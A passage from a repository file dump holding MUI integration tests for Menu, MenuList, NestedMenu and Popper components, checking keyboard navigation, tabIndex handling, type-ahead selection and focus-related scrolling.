expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n  });\n\n  it('closes the menu when Tabbing while the list is active', async () => {\n    render(<ButtonMenu />);\n\n    const trigger = screen.getByRole('button');\n    await act(async () => {\n      trigger.focus();\n    });\n    await act(async () => {\n      trigger.click();\n    });\n\n    // eslint-disable-next-line testing-library/no-unnecessary-act -- react-transition-group uses one commit per state transition so we need to wait a bit\n    await act(async () => {\n      fireEvent.keyDown(screen.getAllByRole('menuitem')[0], { key: 'Tab' });\n    });\n    clock.tick(0);\n\n    expect(screen.getByRole('menu', { hidden: true })).toBeInaccessible();\n  });\n\n  it('closes the menu when the backdrop is clicked', async () => {\n    render(<ButtonMenu />);\n    const button = screen.getByRole('button');\n    await act(async () => {\n      button.focus();\n      button.click();\n      screen.getByTestId('Backdrop').click();\n    });\n\n    expect(screen.getByRole('menu', { hidden: true })).toBeInaccessible();\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/test/integration/MenuList.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport {\n  act,\n  createRenderer,\n  fireEvent,\n  screen,\n  programmaticFocusTriggersFocusVisible,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport MenuList from '@mui/material/MenuList';\nimport MenuItem from '@mui/material/MenuItem';\nimport Divider from '@mui/material/Divider';\n\ndescribe('<MenuList> integration', () => {\n  const { clock, render } = createRenderer();\n\n  it('the MenuItems have the `menuitem` role', () => {\n    render(\n      <MenuList>\n        <MenuItem>Menu Item 1</MenuItem>\n        <MenuItem>Menu Item 2</MenuItem>\n        <MenuItem>Menu Item 3</MenuItem>\n      </MenuList>,\n    );\n\n    expect(screen.getAllByRole('menuitem')).to.have.length(3);\n  });\n\n  describe('keyboard controls and tabIndex manipulation', () => {\n    it('the specified item should be in tab order while the rest is focusable', () => {\n      render(\n        <MenuList>\n          <MenuItem>Menu Item 1</MenuItem>\n          <MenuItem>Menu Item 2</MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      expect(menuitems[0]).to.have.property('tabIndex', 0);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    it('focuses the specified item on mount', () => {\n      render(\n        <MenuList autoFocusItem>\n          <MenuItem>Menu Item 1</MenuItem>\n          <MenuItem>Menu Item 2</MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n\n      expect(screen.getAllByRole('menuitem')[0]).toHaveFocus();\n    });\n\n    it('should select the last item when pressing up if the first item is focused', () => {\n      render(\n        <MenuList autoFocusItem>\n          <MenuItem selected>Menu Item 1</MenuItem>\n          <MenuItem>Menu Item 2</MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n      fireEvent.keyDown(menuitems[0], { key: 'ArrowUp' });\n\n      expect(menuitems[2]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', 0);\n    });\n\n    it('should select the second item when pressing down if the first item is selected', () => {\n      render(\n        <MenuList autoFocusItem>\n          <MenuItem selected>Menu Item 1</MenuItem>\n          <MenuItem>Menu Item 2</MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n      fireEvent.keyDown(menuitems[0], { key: 'ArrowDown' });\n\n      expect(menuitems[1]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', 0);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    it('should still be focused and focusable when going back and forth', () => {\n      render(\n        <MenuList autoFocusItem>\n          <MenuItem selected>Menu Item 1</MenuItem>\n          <MenuItem>Menu Item 2</MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n      fireEvent.keyDown(menuitems[0], { key: 'ArrowDown' });\n      fireEvent.keyDown(menuitems[1], { key: 'ArrowUp' });\n\n      expect(menuitems[0]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', 0);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    it('should leave tabIndex on the first item after blur', () => {\n      const handleBlur = spy();\n\n      render(\n        <MenuList autoFocusItem onBlur={handleBlur}>\n          <MenuItem selected>Menu Item 1</MenuItem>\n          <MenuItem>Menu Item 2</MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n\n      expect(document.activeElement).not.to.equal(null);\n\n      act(() => {\n        document.activeElement.blur();\n      });\n\n      const menuitems = screen.getAllByRole('menuitem');\n      expect(handleBlur.callCount).to.equal(1);\n      expect(menuitems[0]).to.have.property('tabIndex', 0);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n      expect(menuitems[0]).not.toHaveFocus();\n      expect(menuitems[1]).not.toHaveFocus();\n      expect(menuitems[2]).not.toHaveFocus();\n    });\n\n    it('can imperatively focus the first item', () => {\n      render(\n        <MenuList autoFocusItem>\n          <MenuItem selected>Menu Item 1</MenuItem>\n          <MenuItem>Menu Item 2</MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      act(() => {\n        menuitems[0].focus();\n      });\n\n      expect(menuitems[0]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', 0);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    it('down arrow can go to all items while changing tabIndex', () => {\n      render(\n        <MenuList autoFocusItem>\n          <MenuItem selected>Menu Item 1</MenuItem>\n          <MenuItem>Menu Item 2</MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      fireEvent.keyDown(menuitems[0], { key: 'ArrowDown' });\n\n      expect(menuitems[1]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', 0);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n\n      fireEvent.keyDown(menuitems[1], { key: 'ArrowDown' });\n\n      expect(menuitems[2]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', 0);\n    });\n\n    describe('when a modifier key is pressed', () => {\n      it('should not move the focus', () => {\n        render(\n          <MenuList autoFocusItem>\n            <MenuItem selected>Menu Item 1</MenuItem>\n            <MenuItem>Menu Item 2</MenuItem>\n            <MenuItem>Menu Item 3</MenuItem>\n          </MenuList>,\n        );\n\n        const menuitems = screen.getAllByRole('menuitem');\n        fireEvent.keyDown(menuitems[0], { key: 'ArrowDown', ctrlKey: true });\n        expect(menuitems[0]).toHaveFocus();\n        expect(menuitems[1]).not.toHaveFocus();\n\n        fireEvent.keyDown(menuitems[0], { key: 'ArrowDown', altKey: true });\n        expect(menuitems[0]).toHaveFocus();\n        expect(menuitems[1]).not.toHaveFocus();\n\n        fireEvent.keyDown(menuitems[0], { key: 'ArrowDown', metaKey: true });\n        expect(menuitems[0]).toHaveFocus();\n        expect(menuitems[1]).not.toHaveFocus();\n      });\n\n      it('should call the onKeyDown and not prevent default on the event', () => {\n        const onKeyDown = spy();\n\n        render(\n          <MenuList autoFocusItem onKeyDown={onKeyDown}>\n            <MenuItem selected>Menu Item 1</MenuItem>\n            <MenuItem>Menu Item 2</MenuItem>\n            <MenuItem>Menu Item 3</MenuItem>\n          </MenuList>,\n        );\n\n        const menuitems = screen.getAllByRole('menuitem');\n        fireEvent.keyDown(menuitems[0], { key: 'ArrowDown', ctrlKey: true });\n\n        expect(onKeyDown.callCount).to.equal(1);\n        expect(onKeyDown.firstCall.args[0]).to.have.property('ctrlKey', true);\n        expect(onKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', false);\n      });\n    });\n  });\n\n  describe('keyboard controls and tabIndex manipulation - preselected item', () => {\n    it('should auto focus the second item', () => {\n      render(\n        <MenuList>\n          <MenuItem>Menu Item 1</MenuItem>\n          <MenuItem autoFocus selected>\n            Menu Item 2\n          </MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      expect(menuitems[1]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', 0);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    it('should focus next item on ArrowDown', () => {\n      render(\n        <MenuList>\n          <MenuItem>Menu Item 1</MenuItem>\n          <MenuItem autoFocus selected>\n            Menu Item 2\n          </MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      fireEvent.keyDown(menuitems[1], { key: 'ArrowDown' });\n\n      expect(menuitems[2]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', 0);\n    });\n  });\n\n  describe('keyboard controls and tabIndex manipulation - preselected item, no item autoFocus', () => {\n    it('should focus the first item if no item is focused when pressing ArrowDown', () => {\n      render(\n        <MenuList autoFocus>\n          <MenuItem>Menu Item 1</MenuItem>\n          <MenuItem selected>Menu Item 2</MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n      const menuitems = screen.getAllByRole('menuitem');\n\n      fireEvent.keyDown(screen.getByRole('menu'), { key: 'ArrowDown' });\n\n      expect(menuitems[0]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', 0);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    it('should focus the third item if no item is focused when pressing ArrowUp', () => {\n      render(\n        <MenuList autoFocus>\n          <MenuItem>Menu Item 1</MenuItem>\n          <MenuItem selected>Menu Item 2</MenuItem>\n          <MenuItem>Menu Item 3</MenuItem>\n        </MenuList>,\n      );\n      const menuitems = screen.getAllByRole('menuitem');\n\n      fireEvent.keyDown(screen.getByRole('menu'), { key: 'ArrowUp' });\n\n      expect(menuitems[2]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', 0);\n    });\n  });\n\n  it('initial focus is controlled by setting the selected prop when `autoFocusItem` is enabled', () => {\n    render(\n      <MenuList autoFocusItem>\n        <MenuItem>Menu Item 1</MenuItem>\n        <MenuItem>Menu Item 2</MenuItem>\n        <MenuItem selected>Menu Item 3</MenuItem>\n        <MenuItem>Menu Item 4</MenuItem>\n      </MenuList>,\n    );\n\n    const menuitems = screen.getAllByRole('menuitem');\n\n    expect(menuitems[2]).toHaveFocus();\n    expect(menuitems[0]).to.have.property('tabIndex', -1);\n    expect(menuitems[1]).to.have.property('tabIndex', -1);\n    expect(menuitems[2]).to.have.property('tabIndex', 0);\n    expect(menuitems[3]).to.have.property('tabIndex', -1);\n  });\n\n  describe('MenuList with disableListWrap', () => {\n    it('should not wrap focus with ArrowUp from first', () => {\n      render(\n        <MenuList autoFocusItem disableListWrap>\n          <MenuItem selected>Menu Item 1</MenuItem>\n          <MenuItem>Menu Item 2</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      fireEvent.keyDown(menuitems[0], { key: 'ArrowUp' });\n\n      expect(menuitems[0]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', 0);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n    });\n\n    it('should not wrap focus with ArrowDown from last', () => {\n      render(\n        <MenuList autoFocusItem disableListWrap>\n          <MenuItem>Menu Item 1</MenuItem>\n          <MenuItem selected>Menu Item 2</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      fireEvent.keyDown(menuitems[1], { key: 'ArrowDown' });\n\n      expect(menuitems[1]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', 0);\n    });\n  });\n\n  it('should skip divider and disabled menu item', () => {\n    render(\n      <MenuList autoFocus>\n        <MenuItem>Menu Item 1</MenuItem>\n        <Divider component=\"li\" />\n        <MenuItem>Menu Item 2</MenuItem>\n        <MenuItem disabled>Menu Item 3</MenuItem>\n        <MenuItem>Menu Item 4</MenuItem>\n      </MenuList>,\n    );\n    const menuitems = screen.getAllByRole('menuitem');\n\n    fireEvent.keyDown(screen.getByRole('menu'), { key: 'ArrowDown' });\n    expect(menuitems[0]).toHaveFocus();\n    fireEvent.keyDown(menuitems[0], { key: 'ArrowDown' });\n    expect(menuitems[1]).toHaveFocus();\n    fireEvent.keyDown(menuitems[1], { key: 'ArrowDown' });\n    expect(menuitems[3]).toHaveFocus();\n    fireEvent.keyDown(menuitems[3], { key: 'ArrowDown' });\n    expect(menuitems[0]).toHaveFocus();\n\n    // and ArrowUp again\n    fireEvent.keyDown(menuitems[0], { key: 'ArrowUp' });\n    expect(menuitems[3]).toHaveFocus();\n    fireEvent.keyDown(menuitems[3], { key: 'ArrowUp' });\n    expect(menuitems[1]).toHaveFocus();\n    fireEvent.keyDown(menuitems[1], { key: 'ArrowUp' });\n    expect(menuitems[0]).toHaveFocus();\n    fireEvent.keyDown(menuitems[0], { key: 'ArrowUp' });\n    expect(menuitems[3]).toHaveFocus();\n  });\n\n  it('should stay on a single item if it is the only focusable one', () => {\n    render(\n      <MenuList autoFocus>\n        <MenuItem disabled>Menu Item 1</MenuItem>\n        <MenuItem>Menu Item 2</MenuItem>\n        <MenuItem disabled>Menu Item 3</MenuItem>\n        <MenuItem disabled>Menu Item 4</MenuItem>\n      </MenuList>,\n    );\n    const menuitems = screen.getAllByRole('menuitem');\n\n    fireEvent.keyDown(screen.getByRole('menu'), { key: 'ArrowDown' });\n    expect(menuitems[1]).toHaveFocus();\n    fireEvent.keyDown(menuitems[1], { key: 'ArrowDown' });\n    expect(menuitems[1]).toHaveFocus();\n    fireEvent.keyDown(menuitems[1], { key: 'ArrowDown' });\n    expect(menuitems[1]).toHaveFocus();\n    fireEvent.keyDown(menuitems[1], { key: 'ArrowUp' });\n    expect(menuitems[1]).toHaveFocus();\n    fireEvent.keyDown(menuitems[1], { key: 'ArrowUp' });\n    expect(menuitems[1]).toHaveFocus();\n  });\n\n  it('should keep focus on the menu if all items are disabled', () => {\n    render(\n      <MenuList autoFocus>\n        <MenuItem disabled>Menu Item 1</MenuItem>\n        <MenuItem disabled>Menu Item 2</MenuItem>\n        <MenuItem disabled>Menu Item 3</MenuItem>\n        <MenuItem disabled>Menu Item 4</MenuItem>\n      </MenuList>,\n    );\n\n    const menu = screen.getByRole('menu');\n\n    fireEvent.keyDown(menu, { key: 'Home' });\n    expect(menu).toHaveFocus();\n    fireEvent.keyDown(menu, { key: 'ArrowDown' });\n    expect(menu).toHaveFocus();\n    fireEvent.keyDown(menu, { key: 'ArrowDown' });\n    expect(menu).toHaveFocus();\n    fireEvent.keyDown(menu, { key: 'End' });\n    expect(menu).toHaveFocus();\n    fireEvent.keyDown(menu, { key: 'ArrowUp' });\n    expect(menu).toHaveFocus();\n  });\n\n  it('should not infinite loop on keyboard navigation when there are no children', () => {\n    render(<MenuList autoFocus />);\n\n    const menu = screen.getByRole('menu');\n\n    fireEvent.keyDown(menu, { key: 'ArrowDown' });\n    expect(menu).toHaveFocus();\n    fireEvent.keyDown(menu, { key: 'ArrowUp' });\n    expect(menu).toHaveFocus();\n    fireEvent.keyDown(menu, { key: 'Home' });\n    expect(menu).toHaveFocus();\n    fireEvent.keyDown(menu, { key: 'End' });\n    expect(menu).toHaveFocus();\n  });\n\n  it('should not infinite loop on keyboard navigation when children are removed', () => {\n    function DynamicMenuList() {\n      const [items, setItems] = React.useState(['Item 1', 'Item 2']);\n\n      return (\n        <React.Fragment>\n          <button data-testid=\"clear\" onClick={() => setItems([])}>\n            Clear\n          </button>\n          <MenuList autoFocus>\n            {items.map((item) => (\n              <MenuItem key={item}>{item}</MenuItem>\n            ))}\n          </MenuList>\n        </React.Fragment>\n      );\n    }\n\n    render(<DynamicMenuList />);\n\n    const menu = screen.getByRole('menu');\n    const menuitems = screen.getAllByRole('menuitem');\n\n    fireEvent.keyDown(menu, { key: 'ArrowDown' });\n    expect(menuitems[0]).toHaveFocus();\n\n    // Remove all children\n    fireEvent.click(screen.getByTestId('clear'));\n\n    act(() => {\n      menu.focus();\n    });\n\n    // Should not hang\n    fireEvent.keyDown(menu, { key: 'ArrowDown' });\n    expect(menu).toHaveFocus();\n    fireEvent.keyDown(menu, { key: 'ArrowUp' });\n    expect(menu).toHaveFocus();\n  });\n\n  it('should allow focus on disabled items when disabledItemsFocusable=true', () => {\n    render(\n      <MenuList autoFocus disabledItemsFocusable>\n        <MenuItem disabled>Menu Item 1</MenuItem>\n        <MenuItem disabled>Menu Item 2</MenuItem>\n        <MenuItem disabled>Menu Item 3</MenuItem>\n        <MenuItem disabled>Menu Item 4</MenuItem>\n      </MenuList>,\n    );\n\n    const menuitems = screen.getAllByRole('menuitem');\n\n    fireEvent.keyDown(screen.getByRole('menu'), { key: 'Home' });\n    expect(menuitems[0]).toHaveFocus();\n    fireEvent.keyDown(menuitems[0], { key: 'ArrowDown' });\n    expect(menuitems[1]).toHaveFocus();\n    fireEvent.keyDown(menuitems[1], { key: 'ArrowDown' });\n    expect(menuitems[2]).toHaveFocus();\n    fireEvent.keyDown(menuitems[2], { key: 'End' });\n    expect(menuitems[3]).toHaveFocus();\n    fireEvent.keyDown(menuitems[3], { key: 'ArrowUp' });\n    expect(menuitems[2]).toHaveFocus();\n  });\n\n  describe('MenuList text-based keyboard controls', () => {\n    let innerTextSupported;\n\n    beforeAll(() => {\n      const element = document.createElement('div');\n      element.appendChild(document.createTextNode('Hello, Dave!'));\n      innerTextSupported = element.innerText !== undefined;\n    });\n\n    it('selects the first item starting with the character', () => {\n      render(\n        <MenuList>\n          <MenuItem>Arizona</MenuItem>\n          <MenuItem>Berizona</MenuItem>\n        </MenuList>,\n      );\n\n      const menu = screen.getByRole('menu');\n      act(() => {\n        menu.focus();\n      });\n\n      fireEvent.keyDown(menu, { key: 'a' });\n\n      expect(screen.getByText('Arizona')).toHaveFocus();\n    });\n\n    it('should cycle through items when repeating initial character', () => {\n      render(\n        <MenuList>\n          <MenuItem>Arizona</MenuItem>\n          <MenuItem>aardvark</MenuItem>\n          <MenuItem>Colorado</MenuItem>\n          <MenuItem>Argentina</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n      act(() => {\n        menuitems[0].focus();\n      });\n\n      fireEvent.keyDown(screen.getByText('Arizona'), { key: 'a' });\n      expect(screen.getByText('aardvark')).toHaveFocus();\n\n      fireEvent.keyDown(screen.getByText('aardvark'), { key: 'a' });\n      expect(screen.getByText('Argentina')).toHaveFocus();\n\n      fireEvent.keyDown(screen.getByText('Argentina'), { key: 'r' });\n      expect(screen.getByText('aardvark')).toHaveFocus();\n    });\n\n    it('selects the next item starting with the typed character', () => {\n      render(\n        <MenuList>\n          <MenuItem>Arizona</MenuItem>\n          <MenuItem>Arcansas</MenuItem>\n        </MenuList>,\n      );\n\n      act(() => {\n        screen.getByText('Arizona').focus();\n      });\n\n      fireEvent.keyDown(screen.getByText('Arizona'), { key: 'a' });\n\n      expect(screen.getByText('Arcansas')).toHaveFocus();\n    });\n\n    // JSDOM doesn't support :focus-visible\n    it.skipIf(isJsdom())('should not get focusVisible class on click', async function test() {\n      const { user } = render(\n        <MenuList>\n          <MenuItem focusVisibleClassName=\"focus-visible\">Arizona</MenuItem>\n        </MenuList>,\n      );\n\n      const menuitem = screen.getByText('Arizona');\n\n      await user.click(menuitem);\n\n      expect(menuitem).toHaveFocus();\n      if (programmaticFocusTriggersFocusVisible()) {\n        expect(menuitem).to.have.class('focus-visible');\n      } else {\n        expect(menuitem).not.to.have.class('focus-visible');\n      }\n    });\n\n    it('should not move focus when no match', () => {\n      render(\n        <MenuList>\n          <MenuItem autoFocus>Arizona</MenuItem>\n          <MenuItem>Berizona</MenuItem>\n        </MenuList>,\n      );\n\n      fireEvent.keyDown(screen.getByText('Arizona'), { key: 'c' });\n\n      expect(screen.getByText('Arizona')).toHaveFocus();\n    });\n\n    it('should not move focus when keys match current focus', () => {\n      render(\n        <MenuList>\n          <MenuItem autoFocus>Arizona</MenuItem>\n          <MenuItem>Berizona</MenuItem>\n        </MenuList>,\n      );\n\n      fireEvent.keyDown(screen.getByText('Arizona'), { key: 'A' });\n\n      expect(screen.getByText('Arizona')).toHaveFocus();\n\n      fireEvent.keyDown(screen.getByText('Arizona'), { key: 'r' });\n\n      expect(screen.getByText('Arizona')).toHaveFocus();\n    });\n\n    it(\"should not move focus if focus starts on descendant and the key doesn't match\", () => {\n      render(\n        <MenuList>\n          <MenuItem>Arizona</MenuItem>\n          <MenuItem>\n            <button type=\"button\">Focusable Descendant</button>\n          </MenuItem>\n        </MenuList>,\n      );\n\n      const button = screen.getByText('Focusable Descendant');\n      act(() => {\n        button.focus();\n      });\n\n      fireEvent.keyDown(button, { key: 'z' });\n\n      expect(button).toHaveFocus();\n    });\n\n    it('matches rapidly typed text', () => {\n      render(\n        <MenuList autoFocus>\n          <MenuItem>War</MenuItem>\n          <MenuItem>Worm</MenuItem>\n          <MenuItem>Ordinary</MenuItem>\n        </MenuList>,\n      );\n\n      fireEvent.keyDown(screen.getByRole('menu'), { key: 'W' });\n      fireEvent.keyDown(screen.getByText('War'), { key: 'o' });\n\n      expect(screen.getByText('Worm')).toHaveFocus();\n    });\n\n    describe('time', () => {\n      clock.withFakeTimers();\n\n      it('should reset the character buffer after 500ms', () => {\n        render(\n          <MenuList autoFocus>\n            <MenuItem>Worm</MenuItem>\n            <MenuItem>Ordinary</MenuItem>\n          </MenuList>,\n        );\n\n        fireEvent.keyDown(screen.getByRole('menu'), { key: 'W' });\n        clock.tick(501);\n        fireEvent.keyDown(screen.getByText('Worm'), { key: 'o' });\n        expect(screen.getByText('Ordinary')).toHaveFocus();\n      });\n    });\n\n    // Will only be executed in browser tests, since jsdom doesn't support innerText\n    it.skipIf(!innerTextSupported)('should match ignoring hidden text', function testHiddenText() {\n      render(\n        <MenuList autoFocus>\n          <MenuItem>\n            W<span style={{ display: 'none' }}>Should not block type focus</span>orm\n          </MenuItem>\n          <MenuItem>Ordinary</MenuItem>\n        </MenuList>,\n      );\n\n      fireEvent.keyDown(screen.getByRole('menu'), { key: 'W' });\n      fireEvent.keyDown(screen.getByText('Worm'), { key: 'o' });\n\n      expect(screen.getByText('Worm')).toHaveFocus();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/test/integration/NestedMenu.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, within, screen } from '@mui/internal-test-utils';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\n\nconst NoTransition = React.forwardRef(function NoTransition(props, ref) {\n  const { children, in: inProp } = props;\n  if (!inProp) {\n    return null;\n  }\n  return <div ref={ref}>{children}</div>;\n});\n\nfunction NestedMenu(props) {\n  const { firstMenuOpen, secondMenuOpen } = props;\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const canBeOpen = Boolean(anchorEl);\n\n  return (\n    <div>\n      <button type=\"button\" ref={setAnchorEl}>\n        anchor\n      </button>\n      <Menu\n        anchorEl={anchorEl}\n        hideBackdrop\n        slotProps={{ list: { id: 'second-menu' } }}\n        slots={{ transition: NoTransition }}\n        open={Boolean(secondMenuOpen && canBeOpen)}\n      >\n        <MenuItem>Second Menu</MenuItem>\n      </Menu>\n      <Menu\n        anchorEl={anchorEl}\n        hideBackdrop\n        slotProps={{ list: { id: 'first-menu' } }}\n        slots={{ transition: NoTransition }}\n        open={Boolean(firstMenuOpen && canBeOpen)}\n      >\n        <MenuItem>Profile 1</MenuItem>\n        <MenuItem>My account</MenuItem>\n        <MenuItem>Logout</MenuItem>\n      </Menu>\n    </div>\n  );\n}\n\ndescribe('<NestedMenu> integration', () => {\n  const { render } = createRenderer();\n\n  it('should not be open', () => {\n    render(<NestedMenu />);\n\n    expect(screen.queryAllByRole('menu')).to.have.length(0);\n  });\n\n  it('should focus the first item of the first menu when nothing has been selected', () => {\n    render(<NestedMenu firstMenuOpen />);\n\n    expect(screen.getByRole('menu')).to.have.id('first-menu');\n    expect(within(screen.getByRole('menu')).getAllByRole('menuitem')[0]).toHaveFocus();\n  });\n\n  it('should focus the first item of the second menu when nothing has been selected', () => {\n    render(<NestedMenu secondMenuOpen />);\n\n    expect(screen.getByRole('menu')).to.have.id('second-menu');\n    expect(within(screen.getByRole('menu')).getAllByRole('menuitem')[0]).toHaveFocus();\n  });\n\n  it('should open the first menu after it was closed', () => {\n    const { setProps } = render(<NestedMenu firstMenuOpen />);\n\n    setProps({ firstMenuOpen: false });\n    setProps({ firstMenuOpen: true });\n\n    expect(screen.getByRole('menu')).to.have.id('first-menu');\n    expect(within(screen.getByRole('menu')).getAllByRole('menuitem')[0]).toHaveFocus();\n  });\n\n  it('should be able to open second menu again', () => {\n    const { setProps } = render(<NestedMenu secondMenuOpen />);\n\n    setProps({ secondMenuOpen: false });\n    setProps({ secondMenuOpen: true });\n\n    expect(screen.getByRole('menu')).to.have.id('second-menu');\n    expect(within(screen.getByRole('menu')).getAllByRole('menuitem')[0]).toHaveFocus();\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/test/integration/PopperChildrenLayout.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, isJsdom } from '@mui/internal-test-utils';\nimport Collapse from '@mui/material/Collapse';\nimport Fade from '@mui/material/Fade';\nimport Grow from '@mui/material/Grow';\nimport Slide from '@mui/material/Slide';\nimport Zoom from '@mui/material/Zoom';\nimport Popper from '@mui/material/Popper';\n\nconst isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);\n\ndescribe.skipIf(isJsdom())('<Popper />', () => {\n  const { render } = createRenderer();\n\n  let originalScrollX;\n  let originalScrollY;\n\n  beforeEach(() => {\n    originalScrollX = window.screenX;\n    originalScrollY = window.scrollY;\n  });\n\n  afterEach(() => {\n    window.scrollTo(originalScrollX, originalScrollY);\n  });\n\n  describe('children layout integration', () => {\n    function BottomAnchoredPopper(props) {\n      const [anchorEl, anchorElRef] = React.useState(null);\n\n      React.useEffect(() => {\n        if (anchorEl !== null) {\n          window.scrollTo(0, anchorEl.getBoundingClientRect().top);\n        }\n      }, [anchorEl]);\n\n      return (\n        <React.Fragment>\n          <div style={{ height: '200vh' }}>Spacer</div>\n          <button ref={anchorElRef}>Anchor</button>\n          <Popper anchorEl={anchorEl} {...props} />\n        </React.Fragment>\n      );\n    }\n\n    it('autoFocus does not scroll', () => {\n      const handleFocus = spy();\n      const { setProps } = render(\n        <BottomAnchoredPopper open={false}>\n          <div>\n            <button autoFocus onFocus={handleFocus}>\n              will be focused\n            </button>\n          </div>\n        </BottomAnchoredPopper>,\n      );\n      expect(handleFocus.callCount).to.equal(0);\n      const scrollYBeforeOpen = window.scrollY;\n\n      setProps({ open: true });\n\n      expect(handleFocus.callCount).to.equal(1);\n      expect(window.scrollY, 'focus caused scroll').to.equal(scrollYBeforeOpen);\n    });\n\n    it('focus during layout effect does not scroll', () => {\n      const handleFocus = spy();\n      function LayoutEffectFocusButton(props) {\n        const buttonRef = React.useRef(null);\n        React.useLayoutEffect(() => {\n          buttonRef.current.focus();\n        }, []);\n        return <button {...props} ref={buttonRef} />;\n      }\n      const { setProps } = render(\n        <BottomAnchoredPopper open={false}>\n          <div>\n            <LayoutEffectFocusButton onFocus={handleFocus}>will be focused</LayoutEffectFocusButton>\n          </div>\n        </BottomAnchoredPopper>,\n      );\n      expect(handleFocus.callCount).to.equal(0);\n      const scrollYBeforeOpen = window.scrollY;\n\n      setProps({ open: true });\n\n      expect(handleFocus.callCount).to.equal(1);\n      expect(window.scrollY, 'focus caused scroll').to.equal(scrollYBeforeOpen);\n    });\n\n    it('focus during passive effects do not scroll', () => {\n      const handleFocus = spy();\n      function EffectFocusButton(props) {\n        const buttonRef = React.useRef(null);\n        React.useEffect(() => {\n          buttonRef.current.focus();\n        }, []);\n        return <button {...props} ref={buttonRef} />;\n      }\n      const { setProps } = render(\n        <BottomAnchoredPopper open={false}>\n          <div>\n            <EffectFocusButton onFocus={handleFocus}>will be focused</EffectFocusButton>\n          </div>\n        </BottomAnchoredPopper>,\n      );\n      expect(handleFocus.callCount).to.equal(0);\n      const scrollYBeforeOpen = window.scrollY;\n\n      setProps({ open: true });\n\n      expect(handleFocus.callCount).to.equal(1);\n      if (isSafari) {\n        expect(window.scrollY, 'focus caused scroll').to.equal(scrollYBeforeOpen);\n      } else {\n        // FIXME: should equal\n        expect(window.scrollY, 'focus caused scroll').not.to.equal(scrollYBeforeOpen);\n      }\n    });\n\n    [\n      [Collapse, 'Collapse'],\n      